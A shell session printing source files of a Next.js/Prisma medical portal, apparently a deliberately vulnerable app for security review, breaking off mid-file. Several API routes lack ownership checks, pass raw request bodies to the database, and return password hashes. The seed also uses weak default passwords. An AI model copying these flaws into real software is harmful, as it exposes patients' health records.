$ find /home/user/dev/medportal -type f -name "*.ts" -o -name "*.tsx" -o -name "*.js" -o -name "*.jsx" | grep -v node_modules | grep -v .next | sort

/home/user/dev/medportal/app/(auth)/login/page.tsx
/home/user/dev/medportal/app/api/appointments/[id]/route.ts
/home/user/dev/medportal/app/api/appointments/blocks/route.ts
/home/user/dev/medportal/app/api/appointments/change-requests/route.ts
/home/user/dev/medportal/app/api/appointments/route.ts
/home/user/dev/medportal/app/api/appointments/waitlist/route.ts
/home/user/dev/medportal/app/api/audit-logs/route.ts
/home/user/dev/medportal/app/api/bulk-imports/[id]/route.ts
/home/user/dev/medportal/app/api/bulk-imports/route.ts
/home/user/dev/medportal/app/api/departments/[id]/route.ts
/home/user/dev/medportal/app/api/departments/route.ts
/home/user/dev/medportal/app/api/doctors/[id]/route.ts
/home/user/dev/medportal/app/api/doctors/route.ts
/home/user/dev/medportal/app/api/lab-orders/[id]/route.ts
/home/user/dev/medportal/app/api/lab-orders/route.ts
/home/user/dev/medportal/app/api/lab-results/[id]/route.ts
/home/user/dev/medportal/app/api/lab-results/route.ts
/home/user/dev/medportal/app/api/lab-results/upload/route.ts
/home/user/dev/medportal/app/api/medical-records/[id]/route.ts
/home/user/dev/medportal/app/api/medical-records/route.ts
/home/user/dev/medportal/app/api/messages/[id]/route.ts
/home/user/dev/medportal/app/api/messages/route.ts
/home/user/dev/medportal/app/api/notifications/[id]/route.ts
/home/user/dev/medportal/app/api/notifications/route.ts
/home/user/dev/medportal/app/api/patients/[id]/route.ts
/home/user/dev/medportal/app/api/patients/route.ts
/home/user/dev/medportal/app/api/prescriptions/[id]/route.ts
/home/user/dev/medportal/app/api/prescriptions/route.ts
/home/user/dev/medportal/app/api/referrals/[id]/route.ts
/home/user/dev/medportal/app/api/referrals/route.ts
/home/user/dev/medportal/app/api/refill-requests/[id]/route.ts
/home/user/dev/medportal/app/api/refill-requests/route.ts
/home/user/dev/medportal/app/api/search/route.ts
/home/user/dev/medportal/app/api/share-links/[id]/route.ts
/home/user/dev/medportal/app/api/share-links/route.ts
/home/user/dev/medportal/app/api/users/[id]/route.ts
/home/user/dev/medportal/app/api/users/route.ts
/home/user/dev/medportal/app/api/vitals/[id]/route.ts
/home/user/dev/medportal/app/api/vitals/route.ts
/home/user/dev/medportal/app/dashboard/appointments/page.tsx
/home/user/dev/medportal/app/dashboard/layout.tsx
/home/user/dev/medportal/app/dashboard/messages/page.tsx
/home/user/dev/medportal/app/dashboard/page.tsx
/home/user/dev/medportal/app/dashboard/prescriptions/page.tsx
/home/user/dev/medportal/app/dashboard/profile/page.tsx
/home/user/dev/medportal/app/dashboard/records/page.tsx
/home/user/dev/medportal/app/layout.tsx
/home/user/dev/medportal/app/page.tsx
/home/user/dev/medportal/components/auth/login-form.tsx
/home/user/dev/medportal/components/auth/sign-out-button.tsx
/home/user/dev/medportal/components/dashboards/admin-dashboard.tsx
/home/user/dev/medportal/components/dashboards/doctor-dashboard.tsx
/home/user/dev/medportal/components/dashboards/lab-dashboard.tsx
/home/user/dev/medportal/components/dashboards/nurse-dashboard.tsx
/home/user/dev/medportal/components/dashboards/patient-dashboard.tsx
/home/user/dev/medportal/components/notifications-panel.tsx
/home/user/dev/medportal/components/search/global-search.tsx
/home/user/dev/medportal/components/sidebar.tsx
/home/user/dev/medportal/components/ui/avatar.tsx
/home/user/dev/medportal/components/ui/badge.tsx
/home/user/dev/medportal/components/ui/button.tsx
/home/user/dev/medportal/components/ui/card.tsx
/home/user/dev/medportal/components/ui/input.tsx
/home/user/dev/medportal/lib/auth-helpers.ts
/home/user/dev/medportal/lib/auth.ts
/home/user/dev/medportal/lib/data.ts
/home/user/dev/medportal/lib/prisma.ts
/home/user/dev/medportal/lib/utils.ts
/home/user/dev/medportal/middleware.ts
/home/user/dev/medportal/postcss.config.js
/home/user/dev/medportal/prisma/seed.ts
/home/user/dev/medportal/tailwind.config.ts

$ cat /home/user/dev/medportal/middleware.ts

export { default } from "next-auth/middleware";

export const config = {
  matcher: ["/dashboard/:path*"]
};

$ cat /home/user/dev/medportal/lib/auth.ts

import { type NextAuthOptions } from "next-auth";
import CredentialsProvider from "next-auth/providers/credentials";
import { compare } from "bcryptjs";
import { prisma } from "@/lib/prisma";
import { Role } from "@prisma/client";

export const authOptions: NextAuthOptions = {
  session: {
    strategy: "jwt"
  },
  pages: {
    signIn: "/login"
  },
  providers: [
    CredentialsProvider({
      name: "Credentials",
      credentials: {
        email: { label: "Email", type: "email" },
        password: { label: "Password", type: "password" }
      },
      async authorize(credentials) {
        if (!credentials?.email || !credentials.password) {
          return null;
        }

        const user = await prisma.user.findUnique({
          where: { email: credentials.email }
        });

        if (!user) {
          return null;
        }

        const isValid = await compare(credentials.password, user.password);
        if (!isValid) {
          return null;
        }

        return {
          id: user.id,
          email: user.email,
          name: user.name,
          role: user.role
        } as any;
      }
    })
  ],
  callbacks: {
    async jwt({ token, user }) {
      if (user) {
        token.id = (user as any).id;
        token.role = (user as any).role;
      }
      return token;
    },
    async session({ session, token }) {
      if (session.user) {
        session.user.id = token.id as string;
        session.user.role = token.role as Role;
      }
      return session;
    }
  }
};

$ cat /home/user/dev/medportal/lib/auth-helpers.ts

import { NextResponse } from "next/server";
import { getServerSession } from "next-auth";
import { authOptions } from "@/lib/auth";
import { prisma } from "@/lib/prisma";
import { Role, User } from "@prisma/client";

export async function requireAuth(): Promise<User & { role: Role }> {
  const session = await getServerSession(authOptions);
  if (!session?.user?.email) {
    throw new Error("UNAUTHENTICATED");
  }

  const user = await prisma.user.findUnique({ where: { email: session.user.email } });
  if (!user) {
    throw new Error("UNAUTHENTICATED");
  }
  return user;
}

export function hasRole(userRole: Role, allowed: Role[]) {
  return allowed.includes(userRole);
}

export function apiError(error: unknown, fallback: string) {
  if (error instanceof Error && error.message === "UNAUTHENTICATED") {
    return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
  }
  return NextResponse.json({ error: fallback }, { status: 500 });
}

$ cat /home/user/dev/medportal/lib/prisma.ts

import { PrismaClient } from "@prisma/client";

declare global {
  // eslint-disable-next-line no-var
  var prisma: PrismaClient | undefined;
}

export const prisma = global.prisma || new PrismaClient();

if (process.env.NODE_ENV !== "production") {
  global.prisma = prisma;
}

$ cat /home/user/dev/medportal/prisma/seed.ts

import {
  PrismaClient,
  AppointmentStatus,
  AuditAction,
  BulkImportStatus,
  LabOrderStatus,
  LabResultStatus,
  NotificationType,
  RefillRequestStatus,
  ReferralStatus,
  Role,
  ShareLinkStatus,
  WaitlistStatus
} from "@prisma/client";
import bcrypt from "bcryptjs";

const prisma = new PrismaClient();

async function main() {
  await prisma.auditLog.deleteMany();
  await prisma.medicalShareLink.deleteMany();
  await prisma.prescriptionRefillRequest.deleteMany();
  await prisma.referral.deleteMany();
  await prisma.labAttachment.deleteMany();
  await prisma.labResult.deleteMany();
  await prisma.labOrder.deleteMany();
  await prisma.doctorAvailabilityBlock.deleteMany();
  await prisma.appointmentChangeRequest.deleteMany();
  await prisma.appointmentWaitlist.deleteMany();
  await prisma.prescription.deleteMany();
  await prisma.medicalRecord.deleteMany();
  await prisma.appointment.deleteMany();
  await prisma.notification.deleteMany();
  await prisma.message.deleteMany();
  await prisma.vital.deleteMany();
  await prisma.patient.deleteMany();
  await prisma.doctor.deleteMany();
  await prisma.nurse.deleteMany();
  await prisma.labTechnician.deleteMany();
  await prisma.adminProfile.deleteMany();
  await prisma.bulkImportJob.deleteMany();
  await prisma.department.deleteMany();
  await prisma.user.deleteMany();

  const departments = await prisma.$transaction([
    prisma.department.create({
      data: { name: "Metabolic Health", description: "Endocrinology and metabolic disorders" }
    }),
    prisma.department.create({ data: { name: "Neuroscience", description: "Neurology clinic" } }),
    prisma.department.create({ data: { name: "Heart Institute", description: "Cardiology and imaging" } }),
    prisma.department.create({ data: { name: "Diagnostics Lab", description: "Laboratory services" } })
  ]);

  const [metabolic, neurologyDept, cardiology, diagnostics] = departments;

  const passwords = await Promise.all([
    bcrypt.hash("admin123", 10),
    bcrypt.hash("doctor123", 10),
    bcrypt.hash("doctorlee123", 10),
    bcrypt.hash("nurse123", 10),
    bcrypt.hash("lab123", 10),
    bcrypt.hash("patient123", 10)
  ]);

  const [adminPassword, doctorPassword, doctorLeePassword, nursePassword, labPassword, patientPassword] = passwords;

  const adminUser = await prisma.user.create({
    data: {
      name: "Evelyn Wright",
      email: "admin@medportal.com",
      password: adminPassword,
      role: Role.ADMIN,
      adminProfile: { create: { permissions: ["manage_users", "override_appointments", "view_analytics"] } }
    },
    include: { adminProfile: true }
  });

  const doctorUser = await prisma.user.create({
    data: {
      name: "Dr. Maya Patel",
      email: "dr.patel@medportal.com",
      password: doctorPassword,
      role: Role.DOCTOR,
      doctorProfile: {
        create: {
          specialty: "Endocrinology",
          bio: "Focuses on chronic condition management and lifestyle medicine.",
          departmentId: metabolic.id,
          availability: {
            weekly: [
              { day: "Monday", slots: ["09:00", "13:00"] },
              { day: "Wednesday", slots: ["10:00", "15:00"] },
              { day: "Friday", slots: ["09:30", "12:30"] }
            ]
          }
        }
      }
    },
    include: { doctorProfile: true }
  });

  const doctorLeeUser = await prisma.user.create({
    data: {
      name: "Dr. Marcus Lee",
      email: "dr.lee@medportal.com",
      password: doctorLeePassword,
      role: Role.DOCTOR,
      doctorProfile: {
        create: {
          specialty: "Neurology",
          departmentId: neurologyDept.id,
          bio: "Neurologist specializing in migraine care",
          availability: { weekly: [{ day: "Tuesday", slots: ["10:00", "14:00"] }] }
        }
      }
    },
    include: { doctorProfile: true }
  });

  const nurseUser = await prisma.user.create({
    data: {
      name: "Nurse Jordan James",
      email: "nurse.james@medportal.com",
      password: nursePassword,
      role: Role.NURSE,
      nurseProfile: {
        create: {
          departmentId: metabolic.id,
          title: "RN Care Coordinator"
        }
      }
    },
    include: { nurseProfile: true }
  });

  const labTechUser = await prisma.user.create({
    data: {
      name: "Tara Snow",
      email: "lab.snow@medportal.com",
      password: labPassword,
      role: Role.LAB_TECH,
      labTechProfile: {
        create: {
          departmentId: diagnostics.id
        }
      }
    },
    include: { labTechProfile: true }
  });

  const patientUser = await prisma.user.create({
    data: {
      name: "Avery Johnson",
      email: "avery.johnson@medportal.com",
      password: patientPassword,
      role: Role.PATIENT,
      patientProfile: {
        create: {
          firstName: "Avery",
          lastName: "Johnson",
          email: "avery.johnson@medportal.com",
          phone: "+1-555-234-9910",
          dateOfBirth: new Date("1988-07-14"),
          gender: "Female",
          city: "Seattle",
          state: "WA",
          postalCode: "98104",
          medicalHistory: ["Type 2 Diabetes", "Migraine"],
          allergies: ["Penicillin"],
          insuranceProvider: "Blue Horizon Health",
          insurancePlanNumber: "BH-72922-01",
          insuranceGroupNumber: "GH-77A",
          insurancePhone: "800-555-0111",
          emergencyContact: "Jordan Johnson",
          emergencyPhone: "+1-555-882-4020",
          primaryDoctorId: doctorUser.doctorProfile!.id
        }
      }
    },
    include: { patientProfile: true }
  });

  const patient = patientUser.patientProfile!;
  const drPatel = doctorUser.doctorProfile!;
  const drLee = doctorLeeUser.doctorProfile!;
  const nurse = nurseUser.nurseProfile!;
  const labTech = labTechUser.labTechProfile!;

  const appointmentParent = await prisma.appointment.create({
    data: {
      patientId: patient.id,
      doctorId: drPatel.id,
      department: "Endocrinology",
      reason: "Diabetes follow-up",
      status: AppointmentStatus.SCHEDULED,
      appointmentDate: new Date("2024-05-02T09:30:00Z"),
      location: "Wellness Tower - Level 4",
      recurrenceRule: "FREQ=MONTHLY;COUNT=3"
    }
  });

  await prisma.appointment.create({
    data: {
      patientId: patient.id,
      doctorId: drLee.id,
      department: "Neurology",
      reason: "Migraine management",
      status: AppointmentStatus.COMPLETED,
      appointmentDate: new Date("2024-03-18T14:00:00Z"),
      location: "Neuro Center - Level 3"
    }
  });

  await prisma.appointmentWaitlist.create({
    data: {
      patientId: patient.id,
      doctorId: drPatel.id,
      desiredDate: new Date("2024-04-08T11:15:00Z"),
      status: WaitlistStatus.WAITING,
      notes: "Prefers morning slots"
    }
  });

  await prisma.appointmentChangeRequest.create({
    data: {
      appointmentId: appointmentParent.id,
      requestedByPatient: true,
      requestedTime: new Date("2024-05-03T10:00:00Z"),
      status: "pending"
    }
  });

  await prisma.doctorAvailabilityBlock.create({
    data: {
      doctorId: drPatel.id,
      startTime: new Date("2024-05-10T13:00:00Z"),
      endTime: new Date("2024-05-10T17:00:00Z"),
      reason: "Conference"
    }
  });

  await prisma.medicalRecord.createMany({
    data: [
      {
        patientId: patient.id,
        doctorId: drPatel.id,
        title: "Annual Wellness Exam",
        department: "Primary Care",
        summary: "Vitals stable. A1C improved to 6.8%. Continue current care plan.",
        visitDate: new Date("2023-11-04T10:00:00Z")
      },
      {
        patientId: patient.id,
        doctorId: drLee.id,
        title: "Neurology Consult",
        department: "Neurology",
        summary: "Migraine frequency reduced. Adjust preventative medication dosage.",
        visitDate: new Date("2023-09-17T13:00:00Z")
      }
    ]
  });

  const prescriptions = await prisma.$transaction([
    prisma.prescription.create({
      data: {
        patientId: patient.id,
        doctorId: drPatel.id,
        medication: "Metformin",
        dosage: "500 mg",
        frequency: "Twice daily",
        instructions: "Take with meals",
        startDate: new Date("2023-01-01T00:00:00Z"),
        refills: 3,
        refillsRemaining: 1,
        expiresOn: new Date("2024-12-31T00:00:00Z")
      }
    }),
    prisma.prescription.create({
      data: {
        patientId: patient.id,
        doctorId: drLee.id,
        medication: "Sumatriptan",
        dosage: "50 mg",
        frequency: "As needed",
        instructions: "Take at migraine onset",
        startDate: new Date("2022-05-12T00:00:00Z"),
        refills: 2,
        refillsRemaining: 2
      }
    })
  ]);

  const [metformin] = prescriptions;

  const refillRequest = await prisma.prescriptionRefillRequest.create({
    data: {
      prescriptionId: metformin.id,
      patientId: patient.id,
      doctorId: drPatel.id,
      requestedById: patientUser.id,
      message: "Need refill before traveling",
      status: RefillRequestStatus.PENDING
    }
  });

  const labOrder = await prisma.labOrder.create({
    data: {
      patientId: patient.id,
      doctorId: drPatel.id,
      technicianId: labTech.id,
      testName: "HbA1c",
      priority: "Routine",
      status: LabOrderStatus.IN_PROGRESS,
      notes: "Quarterly monitoring"
    }
  });

  const labResult = await prisma.labResult.create({
    data: {
      patientId: patient.id,
      doctorId: drPatel.id,
      labOrderId: labOrder.id,
      testName: "HbA1c",
      resultDate: new Date("2023-10-20T00:00:00Z"),
      resultSummary: "A1C measured 7.2%. Continue monitoring and nutrition plan.",
      status: LabResultStatus.PENDING_REVIEW,
      value: "7.2%",
      referenceRange: "4.0 - 5.6%"
    }
  });

  await prisma.labAttachment.create({
    data: {
      labResultId: labResult.id,
      technicianId: labTech.id,
      fileName: "hba1c-october.pdf",
      fileType: "application/pdf",
      fileUrl: "/uploads/labs/hba1c-october.pdf"
    }
  });

  await prisma.vital.create({
    data: {
      patientId: patient.id,
      nurseId: nurse.id,
      heartRate: 72,
      bloodPressure: "118/76",
      temperature: 98.6,
      respiratoryRate: 16,
      notes: "Patient reports feeling well."
    }
  });

  await prisma.referral.create({
    data: {
      patientId: patient.id,
      fromDoctorId: drPatel.id,
      toDoctorId: drLee.id,
      status: ReferralStatus.PENDING,
      reason: "Neurology evaluation",
      notes: "Review migraine protocol",
      expiresAt: new Date("2024-06-30T00:00:00Z")
    }
  });

  await prisma.medicalShareLink.create({
    data: {
      patientId: patient.id,
      token: "share-demo-token",
      status: ShareLinkStatus.ACTIVE,
      expiresAt: new Date(Date.now() + 1000 * 60 * 60 * 24)
    }
  });

  await prisma.notification.createMany({
    data: [
      {
        userId: patientUser.id,
        type: NotificationType.APPOINTMENT,
        title: "Appointment reminder",
        description: "Cardiology visit tomorrow at 11:15 AM",
        link: "/dashboard/appointments"
      },
      {
        userId: patientUser.id,
        type: NotificationType.PRESCRIPTION,
        title: "Refill requested",
        description: "Metformin refill pending approval",
        link: "/dashboard/prescriptions"
      },
      {
        userId: doctorUser.id,
        type: NotificationType.REFERRAL,
        title: "New referral",
        description: "Review neurology referral for Avery",
        link: "/dashboard/records"
      }
    ]
  });

  await prisma.message.create({
    data: {
      senderId: patientUser.id,
      recipientId: doctorUser.id,
      patientId: patient.id,
      doctorId: drPatel.id,
      content: "Hi Dr. Patel, should I adjust my medication before the next visit?"
    }
  });

  await prisma.auditLog.createMany({
    data: [
      {
        userId: doctorUser.id,
        patientId: patient.id,
        action: AuditAction.VIEW_RECORD,
        resourceType: "medical_record",
        resourceId: "mr01",
        details: { note: "Viewed neurology consult" }
      },
      {
        userId: adminUser.id,
        patientId: patient.id,
        action: AuditAction.SHARE_LINK,
        resourceType: "share_link",
        resourceId: "share-demo-token",
        details: { destination: "External provider" }
      }
    ]
  });

  await prisma.bulkImportJob.create({
    data: {
      adminId: adminUser.adminProfile!.id,
      fileName: "patients-march.csv",
      status: BulkImportStatus.PROCESSING,
      totalRows: 150,
      processedRows: 40,
      errorReport: { rowsWithErrors: [12, 39] }
    }
  });

  await prisma.notification.create({
    data: {
      userId: patientUser.id,
      type: NotificationType.LAB_RESULT,
      title: "Lab result uploaded",
      description: "HbA1c ready for review",
      link: "/dashboard/records"
    }
  });

  await prisma.prescriptionRefillRequest.update({
    where: { id: refillRequest.id },
    data: {
      status: RefillRequestStatus.APPROVED,
      decisionById: doctorUser.id,
      decidedAt: new Date(),
      doctorId: drPatel.id
    }
  });
}

main()
  .then(async () => {
    await prisma.$disconnect();
  })
  .catch(async (e) => {
    console.error(e);
    await prisma.$disconnect();
    process.exit(1);
  });

$ cat /home/user/dev/medportal/app/api/users/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";
import bcrypt from "bcryptjs";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const users = await prisma.user.findMany();
    return NextResponse.json(users);
  } catch (error) {
    return apiError(error, "Unable to fetch users");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const password = await bcrypt.hash(body.password ?? "changeme123", 10);
    const created = await prisma.user.create({
      data: {
        name: body.name,
        email: body.email,
        password,
        role: body.role ?? Role.PATIENT
      }
    });
    return NextResponse.json(created, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create user");
  }
}

$ cat /home/user/dev/medportal/app/api/users/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const updated = await prisma.user.update({ where: { id: params.id }, data: body });
    return NextResponse.json(updated);
  } catch (error) {
    return apiError(error, "Unable to update user");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.user.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete user");
  }
}

$ cat /home/user/dev/medportal/app/api/patients/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR, Role.NURSE].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const patients = await prisma.patient.findMany({
      include: { user: true, primaryDoctor: { include: { user: true } } }
    });
    return NextResponse.json(patients);
  } catch (error) {
    return apiError(error, "Unable to fetch patients");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const created = await prisma.patient.create({
      data: body
    });
    return NextResponse.json(created, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create patient");
  }
}

$ cat /home/user/dev/medportal/app/api/patients/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR, Role.NURSE, Role.PATIENT].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const patient = await prisma.patient.findUnique({
      where: { id: params.id },
      include: { user: true, appointments: true, prescriptions: true }
    });
    return NextResponse.json(patient);
  } catch (error) {
    return apiError(error, "Unable to fetch patient");
  }
}

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.PATIENT].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const updated = await prisma.patient.update({ where: { id: params.id }, data: body });
    return NextResponse.json(updated);
  } catch (error) {
    return apiError(error, "Unable to update patient");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.patient.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete patient");
  }
}

$ cat /home/user/dev/medportal/app/api/doctors/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.PATIENT].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const doctors = await prisma.doctor.findMany({ include: { user: true, department: true } });
    return NextResponse.json(doctors);
  } catch (error) {
    return apiError(error, "Unable to fetch doctors");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const doctor = await prisma.doctor.create({ data: body });
    return NextResponse.json(doctor, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create doctor");
  }
}

$ cat /home/user/dev/medportal/app/api/doctors/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR, Role.PATIENT].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const doctor = await prisma.doctor.findUnique({
      where: { id: params.id },
      include: { user: true, patients: true }
    });
    return NextResponse.json(doctor);
  } catch (error) {
    return apiError(error, "Unable to fetch doctor");
  }
}

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const doctor = await prisma.doctor.update({ where: { id: params.id }, data: body });
    return NextResponse.json(doctor);
  } catch (error) {
    return apiError(error, "Unable to update doctor");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.ADMIN) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.doctor.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete doctor");
  }
}

$ cat /home/user/dev/medportal/app/api/appointments/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role === Role.PATIENT) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id }, include: { appointments: true } });
      return NextResponse.json(patient?.appointments ?? []);
    }
    if (user.role === Role.DOCTOR) {
      const doctor = await prisma.doctor.findUnique({ where: { userId: user.id }, include: { appointments: true } });
      return NextResponse.json(doctor?.appointments ?? []);
    }
    if (![Role.ADMIN, Role.NURSE].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const appointments = await prisma.appointment.findMany({ include: { patient: true, doctor: true } });
    return NextResponse.json(appointments);
  } catch (error) {
    return apiError(error, "Unable to fetch appointments");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (![Role.PATIENT, Role.DOCTOR, Role.ADMIN].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const appointment = await prisma.appointment.create({ data: body });
    return NextResponse.json(appointment, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to create appointment");
  }
}

$ cat /home/user/dev/medportal/app/api/appointments/[id]/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    const appointment = await prisma.appointment.findUnique({
      where: { id: params.id },
      include: { patient: true, doctor: true }
    });
    if (!appointment) {
      return NextResponse.json({ error: "Not found" }, { status: 404 });
    }
    if (
      ![Role.ADMIN, Role.DOCTOR, Role.NURSE].includes(user.role) &&
      appointment.patientId &&
      user.role === Role.PATIENT
    ) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id } });
      if (patient?.id !== appointment.patientId) {
        return NextResponse.json({ error: "Forbidden" }, { status: 403 });
      }
    }
    return NextResponse.json(appointment);
  } catch (error) {
    return apiError(error, "Unable to fetch appointment");
  }
}

export async function PATCH(request: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR, Role.PATIENT].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const body = await request.json();
    const appointment = await prisma.appointment.update({ where: { id: params.id }, data: body });
    return NextResponse.json(appointment);
  } catch (error) {
    return apiError(error, "Unable to update appointment");
  }
}

export async function DELETE(_: Request, { params }: { params: { id: string } }) {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.PATIENT].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    await prisma.appointment.delete({ where: { id: params.id } });
    return NextResponse.json({ success: true });
  } catch (error) {
    return apiError(error, "Unable to delete appointment");
  }
}

$ cat /home/user/dev/medportal/app/api/appointments/blocks/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role !== Role.DOCTOR) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const doctor = await prisma.doctor.findUnique({ where: { userId: user.id }, include: { blockedSlots: true } });
    return NextResponse.json(doctor?.blockedSlots ?? []);
  } catch (error) {
    return apiError(error, "Unable to fetch blocks");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    if (user.role !== Role.DOCTOR) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const doctor = await prisma.doctor.findUnique({ where: { userId: user.id } });
    const body = await request.json();
    const block = await prisma.doctorAvailabilityBlock.create({
      data: {
        doctorId: doctor?.id ?? body.doctorId,
        startTime: new Date(body.startTime),
        endTime: new Date(body.endTime),
        reason: body.reason
      }
    });
    return NextResponse.json(block, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to save block");
  }
}

$ cat /home/user/dev/medportal/app/api/appointments/change-requests/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role } from "@prisma/client";

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    const body = await request.json();
    const change = await prisma.appointmentChangeRequest.create({
      data: {
        appointmentId: body.appointmentId,
        requestedByPatient: user.role === Role.PATIENT,
        requestedTime: new Date(body.requestedTime),
        status: "pending"
      }
    });
    return NextResponse.json(change, { status: 201 });
  } catch (error) {
    return apiError(error, "Unable to request change");
  }
}

export async function GET() {
  try {
    const user = await requireAuth();
    if (![Role.ADMIN, Role.DOCTOR].includes(user.role)) {
      return NextResponse.json({ error: "Forbidden" }, { status: 403 });
    }
    const changes = await prisma.appointmentChangeRequest.findMany({ include: { appointment: true } });
    return NextResponse.json(changes);
  } catch (error) {
    return apiError(error, "Unable to load changes");
  }
}

$ cat /home/user/dev/medportal/app/api/appointments/waitlist/route.ts

import { NextResponse } from "next/server";
import { prisma } from "@/lib/prisma";
import { requireAuth, apiError } from "@/lib/auth-helpers";
import { Role, WaitlistStatus } from "@prisma/client";

export async function GET() {
  try {
    const user = await requireAuth();
    if (user.role === Role.PATIENT) {
      const patient = await prisma.patient.findUnique({ where: { userId: user.id }, include: { waitlistEntries: true } });
      return NextResponse.json(patient?.waitlistEntries ?? []);
    }
    const entries = await prisma.appointmentWaitlist.findMany({ include: { patient: true, doctor: true } });
    return NextResponse.json(entries);
  } catch (error) {
    return apiError(error, "Unable to fetch waitlist");
  }
}

export async function POST(request: Request) {
  try {
    const user = await requireAuth();
    const body = await request.json();
    const patient = user.role === Role.PATIENT ? await prisma.patient.findUnique({ where: { userId: user.id } }) : null;
